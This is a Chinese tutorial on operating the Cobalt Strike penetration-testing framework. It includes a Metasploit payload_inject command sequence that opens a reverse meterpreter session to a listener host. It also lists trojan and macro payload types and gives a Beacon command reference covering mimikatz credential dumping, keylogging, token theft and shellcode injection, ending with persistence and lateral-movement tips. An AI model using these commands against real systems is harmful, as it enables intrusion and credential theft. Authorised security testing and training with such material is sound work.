Cobalt Strike 简单使用
我在最没有能力的年纪,碰见了最想照顾一生的人。
概述:
- Cobalt Strike是一款内网渗透测试神器,一个服务端,多个客户端,这样最大好处就是可以团队合作。Cobalt Strike集成了很多工具,如多模式监听(dns.smb等)、多种代理转发,自定义脚本以及生成各种版本木马,各种病毒,各种payload,进行网站克隆,钓鱼攻击等等,更方便快速的获取权限,进行权限维持,横向攻击等等。
启动:
服务端:首先在vps进行搭建启动 ./teamserver vpsip 密码
客户端:输入vpsip 密码,即可登陆
基本操作:
首先介绍监听(listeners)模块,
主要有9个不同服务的监听,分两个大块beacon和foreign
Beacon主要就是给cs自己反弹shell的
Foreign主要是给外部msf、meterpreter反弹一个shell,以便于内网攻击
内部就是生成payload,直接反弹即可。
cs结合msf互传:
-
cs传给msf
msf监听
cs中添加forgein监听,然后cs中spawn即可。
-
msf传cs
利用payload_inject模块,msf下
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set disablepayloadhandler true
set lhost 1.1.1.1
set lport 8888
set session 1
run
即可
各有各优点,dns隐秘性好、https加密通信、smb在内网使用(配合一台主机作为中转器,配合无状态木马使用,向另外一台无法访问到的内网主机进行反弹shell。)等等。
监听完即可生成payload去攻击,cs提供很多payload
HTML Application 生成HTA木马文件
MS Office Macro 生成office宏病毒文件
Payload Generator 生成各种语言版本的payload
USB/CD AutoPlay 生成利用自动播放运行的木马文件
Windows Dropper 把木马捆绑到文件上点击即可反弹shell
Windows Executable 生成可执行exe、dll木马
Windows Executable(S ) 生成可执行exe、dll木马、powershell等
拿到shell就可以继续搞,主要介绍以下几个模块
- Interact beacon命令行
shell +cmd命令
需要用到的命令直接help即可
Beacon Commands
===============
Command Description
------- -----------
argue 进程参数欺骗
blockdlls 在子进程中阻止非Microsoft的DLLs文件
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect 通过TCP连接到Beacon
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs 对当前令牌启用系统权限
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link 通过命名管道连接到Beacon
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 给当前目标机器备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid 为生成的post-ex任务设置父PID
ps 显示进程列表
psexec 使用服务在主机上生成会话
psexec_psh 使用PowerShell在主机上生成会话
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg 查询注册表
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu 在另一个PID下执行程序
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn 生成一个会话
spawnas 以其他用户身份生成会话
spawnto 将可执行程序注入进程
spawnu 在另一个PID下生成会话
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink 断开与Beacon的连接
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
-
Access
dump hashes 获取hash即可碰撞md5
Elevate 一键提权(内置很多,可上传如CVE-2019-0803、或beacon利用Powershell提权等)
Golden Ticket 生成黄金票据注入当前会话
MAke token 凭证转换
Run Mimikatz =beacon(logonpasswords)抓取windows明文密码
Spawn As 分享给队友 -
Explore
Browser Pivot 劫持浏览器进行代理
Desktop(VNC) 开启桌面交互
File Browser 文件管理上传等等
Net View 查询信息
Port scan 端口扫描(ARP,ICMP等扫描)
Process list 查看进程(可以注入进行获取新shell、监听键盘等)
Screenshot 截图 -
Pivoting
SOCKS Server 开启SOCKS 代理服务
Listener 反向端口转发
Deploy VPN 部署VPN -
Spawn 新的通讯模式并生成会话
-
Session 会话管理,删除,心跳时间,退出,备注
拿到权限后,权限维持很重要,比如常见的注册表、设置启动项、计划任务、设置服务、dll劫持等
进而进行横向移动,横扫内网,比如扫描其他主机端口、弱口令、中间件漏洞等等,也可以利用psexec选择凭证进行攻击或者进程中steal token 窃取,或者可以上传插件利用其他漏洞如最常见ms08-067、ms17010、以及IE双杀漏洞等等余生很长,请多指教。